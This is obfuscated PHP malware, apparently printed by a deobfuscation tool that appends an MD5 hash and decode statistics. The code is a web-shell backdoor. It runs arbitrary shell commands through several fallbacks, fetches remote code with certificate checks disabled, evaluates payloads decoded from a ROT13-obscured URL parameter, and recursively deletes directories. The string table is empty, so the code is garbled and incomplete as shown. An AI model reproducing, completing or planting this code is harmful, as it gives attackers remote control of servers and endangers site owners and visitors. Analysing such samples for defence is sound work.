CRPXf;Ul6lF:}goto JEb7M;JEb7M:function itGHG($RTqx1){goto I90dn;I90dn:$zbz4q=$GLOBALS[][0x0007];goto I2o4H;p45B0:return $zbz4q;goto j9BTN;I2o4H:if(function_exists($GLOBALS[][0x000004a])){@exec($RTqx1,$zbz4q);$zbz4q=@join($GLOBALS[][0x04b],$zbz4q);}elseif(function_exists($GLOBALS[][0x004c])){goto rZMqY;blEPF:$zbz4q=ob_get_clean();goto JuYDs;ieUeW:@passthru($RTqx1);goto blEPF;rZMqY:ob_start();goto ieUeW;JuYDs:}elseif(function_exists($GLOBALS[][0x0004d])){goto odFC7;odFC7:ob_start();goto qDjAA;TWt6b:$zbz4q=ob_get_clean();goto Wv68N;qDjAA:@system($RTqx1);goto TWt6b;Wv68N:}elseif(function_exists($GLOBALS[][0x00004e])){$zbz4q=shell_exec($RTqx1);}elseif(is_resource($xZmXS=@popen($RTqx1,$GLOBALS[][0x000004f]))){goto CouI2;CouI2:$zbz4q=$GLOBALS[][0x050];goto Q_61t;z5EQD:pclose($xZmXS);goto XkXeU;Q_61t:while(!@feof($xZmXS)){$zbz4q.= fread($xZmXS,0x00000400);}goto z5EQD;XkXeU:}goto p45B0;j9BTN:}goto XJ18w;DYYcV:while(strstr($k9prk,$GLOBALS[][0x0051])){$k9prk=str_replace($GLOBALS[][0x0051],$GLOBALS[][0x00052],$k9prk);}goto H0Rm0;r2c0E:function JFew5($qROtT,$RpO87){if(preg_match($GLOBALS[][0x000053],$RpO87)){goto JH8cN;xlAnk:$RpO87=DRlLI($qROtT);goto tk__d;MeXJH:$RpO87=$GLOBALS[][0x000002c] .substr($RpO87,$hMsLq);goto d2UIB;d2UIB:unlink($GLOBALS[][0x0000054]);goto PLUko;m2J3D:$T5Vnn=DRlLi($qROtT.$GLOBALS[][0x055] .$GhtvU);goto xlAnk;v99Hp:$hMsLq=strpos($RpO87,$i3W7Z)+strlen($i3W7Z);goto MeXJH;q9cKz:$GhtvU=$GhtvU[0x001];goto m2J3D;tk__d:$i3W7Z=$GLOBALS[][0x000002c];goto v99Hp;JH8cN:preg_match($GLOBALS[][0x0056],$RpO87,$GhtvU);goto q9cKz;PLUko:}return $RpO87;}goto HM3Gw;XkDhc:function IGiYJ($aFq5T,$RXfoP){goto xSW2V;Tnfui:return $Llp3c;goto z8kqn;vCjKV:foreach($GRI6U as $LCvja){if(strstr($LCvja,$RXfoP)){$Llp3c++;}}goto Tnfui;uQzn7:$GRI6U=explode($GLOBALS[][0x04b],$mbjuy);goto vCjKV;pL4rs:$mbjuy=A18w4($aFq5T);goto uQzn7;xSW2V:$Llp3c=0;goto pL4rs;z8kqn:}goto JIBQB;J35gG:$WzJtu=substr_count($k9prk,$GLOBALS[][0x00052]);goto G5OpG;ZS7Os:RrKw7($idwLU);goto tYurE;tYurE:Fy5WP($idwLU);goto so5Z5;G5OpG:$idwLU=$GLOBALS[][0x00057];goto yY1kZ;yY1kZ:$wokPg=0x001;goto jJ5eW;obpiB:OvirA($idwLU);goto ZS7Os;JIBQB:function AnAvj($aFq5T,$RXfoP){goto ITsan;ITsan:$DLvkj=igiYJ($aFq5T,$RXfoP);goto cswAF;BIu7G:return $A5Nsc;goto ggohK;g5K0X:$A5Nsc=$GLOBALS[][0x0007];goto Wa834;j02o_:$GRI6U=explode($GLOBALS[][0x04b],$mbjuy);goto g5K0X;Wa834:foreach($GRI6U as $LCvja){if(strstr($LCvja,$RXfoP)|| $DLvkj<=0){$DLvkj--;if($DLvkj<=0){$A5Nsc.= $LCvja.$GLOBALS[][0x04b];}}}goto BIu7G;cswAF:$mbjuy=a18w4($aFq5T);goto j02o_;ggohK:}goto TUzMS;XJ18w:function XR2DP($RZ_R2){goto cw7no;vecmP:if(trim($JGA_Y)==$GLOBALS[][0x0007] && function_exists($GLOBALS[][0x000058])&& function_exists($GLOBALS[][0x0000059])&& function_exists($GLOBALS[][0x05a])){$U9W5p=fopen($RZ_R2,$GLOBALS[][0x005b],!1,stream_context_create(array($GLOBALS[][0x0005c] =>array($GLOBALS[][0x00005d] =>$GLOBALS[][0x000005e],$GLOBALS[][0x05f] =>$GLOBALS[][0x0060]))));$JGA_Y=stream_get_contents($U9W5p);}goto vgW_x;vgW_x:return $JGA_Y;goto sl65P;MrprR:if(trim($JGA_Y)==$GLOBALS[][0x0007] && function_exists($GLOBALS[][0x00061])&& function_exists($GLOBALS[][0x05a])){$JGA_Y=file_get_contents($RZ_R2,!1,stream_context_create(array($GLOBALS[][0x0005c] =>array($GLOBALS[][0x000062] =>$GLOBALS[][0x0000063],$GLOBALS[][0x064] =>$GLOBALS[][0x0060]))));}goto Haby2;Haby2:if(trim($JGA_Y)==$GLOBALS[][0x0007] && function_exists($GLOBALS[][0x0065])){goto FyOZS;Pa3i9:if(stristr($RZ_R2,$GLOBALS[][0x00066])){curl_setopt($udC2_,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($udC2_,CURLOPT_SSL_VERIFYHOST,0);}goto dnknt;FyOZS:$udC2_=curl_init();goto rUQJU;ETEak:curl_setopt($udC2_,CURLOPT_USERAGENT,$GLOBALS[][0x000067]);goto xe9XB;vkI3n:curl_setopt($udC2_,CURLOPT_URL,$RZ_R2);goto ETEak;WekYG:curl_setopt($udC2_,CURLOPT_RETURNTRANSFER,!0);goto vkI3n;xe9XB:curl_setopt($udC2_,CURLOPT_REFERER,$GLOBALS[][0x0000068]);goto YlgYL;dnknt:curl_setopt($udC2_,CURLOPT_HEADER,!1);goto CtMng;CtMng:$JGA_Y=curl_exec($udC2_);goto gfSaJ;gfSaJ:curl_close($udC2_);goto XAoP5;rUQJU:curl_setopt($udC2_,CURLOPT_TIMEOUT,0x0a);goto WekYG;YlgYL:curl_setopt($udC2_,CURLOPT_FOLLOWLOCATION,!0);goto Pa3i9;XAoP5:}goto g4T7A;cw7no:$JGA_Y=$GLOBALS[][0x0007];goto MrprR;g4T7A:if(trim($JGA_Y)==$GLOBALS[][0x0007]){goto WFz1p;oQYMn:unlink($ATAGu);goto pwJp0;QRNb6:ItGHG($GLOBALS[][0x069] .$RZ_R2.$GLOBALS[][0x006a] .$ATAGu);goto eC426;WFz1p:$ATAGu=$GLOBALS[][0x0006b] .substr(str_shuffle($GLOBALS[][0x00006c]),0x032).$GLOBALS[][0x000006d];goto QRNb6;eC426:if(function_exists($GLOBALS[][0x00061])){$JGA_Y=file_get_contents($ATAGu);}else{$JGA_Y=stream_get_contents(fopen($ATAGu,$GLOBALS[][0x000004f]));}goto oQYMn;pwJp0:}goto vecmP;sl65P:}goto tJJmM;Sxw29:$idwLU=F8g1V($idwLU);goto obpiB;tJJmM:function A18w4($ZJHEQ){goto jgj6b;DOP_w:if(function_exists($GLOBALS[][0x00061])){$XFOyq=file_get_contents($ZJHEQ);}elseif(function_exists($GLOBALS[][0x000058])&& function_exists($GLOBALS[][0x0000059])){$XFOyq=stream_get_contents(fopen($ZJHEQ,$GLOBALS[][0x000004f]));}elseif(function_exists($GLOBALS[][0x06e])&& function_exists($GLOBALS[][0x006f])){$XFOyq=implode(file($ZJHEQ));}elseif(function_exists($GLOBALS[][0x006f])){$GRI6U=file($ZJHEQ);if(function_exists($GLOBALS[][0x06e])){$XFOyq=implode($GRI6U);}else{foreach($GRI6U as $LCvja){$XFOyq.= $LCvja;}}}goto RAQ7Y;wqFhY:return $XFOyq;goto axX9Q;jgj6b:$XFOyq=$GLOBALS[][0x0007];goto DOP_w;RAQ7Y:if(trim($XFOyq)==$GLOBALS[][0x0007]){$XFOyq=itGhG($GLOBALS[][0x00070] .$ZJHEQ);}goto wqFhY;axX9Q:}goto iPLjw;uHQs5:$MatBx=strval(basename(__FILE__));goto oLzKt;IXg69:$mbjuy=a18w4($MatBx);goto C2fLV;AsNxM:$k9prk=strval($_SERVER[$GLOBALS[][0x000071]]);goto DYYcV;xRlPD:function riEmW($ZJHEQ){goto AaqS4;AaqS4:$ZJHEQ=substr($ZJHEQ,-0x001)==$GLOBALS[][0x00052] ?$ZJHEQ:$ZJHEQ.$GLOBALS[][0x00052];goto puZ8I;uMfZW:@rmdir($ZJHEQ);goto OYPxg;puZ8I:$eLS6y=opendir($ZJHEQ);goto rCO0f;rCO0f:while(($EcsW8=readdir($eLS6y))!==!1){$EcsW8=$ZJHEQ.$EcsW8;if(basename($EcsW8)==$GLOBALS[][0x0000072] || basename($EcsW8)==$GLOBALS[][0x073]){continue;}$BXfWo=filetype($EcsW8);if($BXfWo==$GLOBALS[][0x0074]){riemw($EcsW8);}else{@unlink($EcsW8);}}goto aDR5F;aDR5F:closedir($eLS6y);goto uMfZW;OYPxg:}goto mfFaD;so5Z5:if(isset($_GET[$GLOBALS[][0x00075]])){goto CmYl7;Zu2N8:$r5dat=jFEw5($GLOBALS[][0x000076] .tb3ft($eWVAe),$r5dat);goto tqpEx;nxjJg:$r5dat=xr2dp($GLOBALS[][0x000076] .TB3FT($eWVAe));goto Zu2N8;CmYl7:$eWVAe=trim($_GET[$GLOBALS[][0x0000077]]);goto aexCG;tqpEx:$r5dat=str_replace(array($GLOBALS[][0x000002c],$GLOBALS[][0x078],$GLOBALS[][0x0079]),$GLOBALS[][0x0007],$r5dat);goto F842w;F842w:eval($r5dat);goto dlJSF;aexCG:$eWVAe=str_rot13(pack($GLOBALS[][0x0007a],strrev($eWVAe)));goto nxjJg;dlJSF:}elseif(isset($_GET[$GLOBALS[][0x00007b]])){goto X6xHb;OPaMJ:$Z0foL=itghG($GLOBALS[][0x000007c]);goto er1WH;X6xHb:$KDRo2=$idwLU.$GLOBALS[][0x0000027];goto OPaMJ;er1WH:if(file_exists($KDRo2)&& $Z0foL&&(substr(sprintf($GLOBALS[][0x07d],fileperms($KDRo2)),-0x000004)==$GLOBALS[][0x007e] || substr(sprintf($GLOBALS[][0x07d],fileperms($KDRo2)),-0x000004)==$GLOBALS[][0x0007f])){if(function_exists($GLOBALS[][0x000080])&& is_array(VVgvr())){if(u1s9V()){echo $GLOBALS[][0x0000081];}else{echo $GLOBALS[][0x082];}}else{echo $GLOBALS[][0x0083];}itgHG($GLOBALS[][0x00084]);}goto toIGj;toIGj:}elseif(isset($_GET[$GLOBALS[][0x000085]])){goto z4Kl6;RGpte:m7KRU($idwLU.$GLOBALS[][0x00034],$KgE8D);goto OVHLT;OVHLT:unlink($idwLU.$GLOBALS[][0x0000086]);goto VTOPu;z4Kl6:$KgE8D=$GLOBALS[][0x0029];goto HlSEU;HlSEU:chmod($idwLU.$GLOBALS[][0x00034],0644);goto RGpte;VTOPu:}else{echo $GLOBALS[][0x087] .md5($_SERVER[$GLOBALS[][0x0088]]).$GLOBALS[][0x00089];}?>

Function Calls

None

Variables

None

Stats

MD5 29d7834e942445b24a0b403047777481
Eval Count 0
Decode Time 54 ms